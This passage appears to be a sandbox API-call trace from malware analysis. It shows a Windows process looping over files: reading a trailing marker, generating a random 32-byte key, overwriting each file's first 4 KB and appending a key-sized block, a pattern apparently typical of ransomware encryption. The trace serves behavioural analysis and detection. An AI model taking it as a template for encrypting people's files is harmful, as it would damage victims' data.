hHeap=0x540000) returned 1 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.864] SetFilePointerEx (in: hFile=0x860, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.864] WriteFile (in: hFile=0x860, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.864] WriteFile (in: hFile=0x860, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.864] GetProcessHeap () returned 0x540000 [0083.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.864] CloseHandle (hObject=0x860) returned 1 [0083.865] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 58 [0083.865] SetFilePointerEx (in: hFile=0x864, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.865] ReadFile (in: hFile=0x864, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.865] SetFilePointerEx (in: hFile=0x864, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.865] GetProcessHeap () returned 0x540000 [0083.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.865] GetProcessHeap () returned 0x540000 [0083.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.866] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.866] GetProcessHeap () returned 0x540000 [0083.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.866] ReadFile (in: hFile=0x864, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.022] SetFilePointerEx (in: hFile=0x864, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.022] WriteFile (in: hFile=0x864, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.023] GetProcessHeap () returned 0x540000 [0084.023] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.024] GetProcessHeap () returned 0x540000 [0084.024] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.024] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.025] GetProcessHeap () returned 0x540000 [0084.025] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.025] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.026] GetProcessHeap () returned 0x540000 [0084.026] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.027] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.027] GetProcessHeap () returned 0x540000 [0084.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.028] SetFilePointerEx (in: hFile=0x864, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.028] WriteFile (in: hFile=0x864, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.028] WriteFile (in: hFile=0x864, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.028] GetProcessHeap () returned 0x540000 [0084.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.028] GetProcessHeap () returned 0x540000 [0084.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.028] GetProcessHeap () returned 0x540000 [0084.028] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.028] CloseHandle (hObject=0x864) returned 1 [0084.031] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 59 [0084.031] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.031] ReadFile (in: hFile=0x868, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.031] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.031] GetProcessHeap () returned 0x540000 [0084.031] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.031] GetProcessHeap () returned 0x540000 [0084.031] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.031] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.031] GetProcessHeap () returned 0x540000 [0084.031] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.031] ReadFile (in: hFile=0x868, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.080] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.080] WriteFile (in: hFile=0x868, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.080] GetProcessHeap () returned 0x540000 [0084.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.080] GetProcessHeap () returned 0x540000 [0084.080] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.080] GetProcessHeap () returned 0x540000 [0084.081] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.081] GetProcessHeap () returned 0x540000 [0084.081] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.081] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.082] GetProcessHeap () returned 0x540000 [0084.082] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.083] GetProcessHeap () returned 0x540000 [0084.083] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.083] GetProcessHeap () returned 0x540000 [0084.084] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.085] GetProcessHeap () returned 0x540000 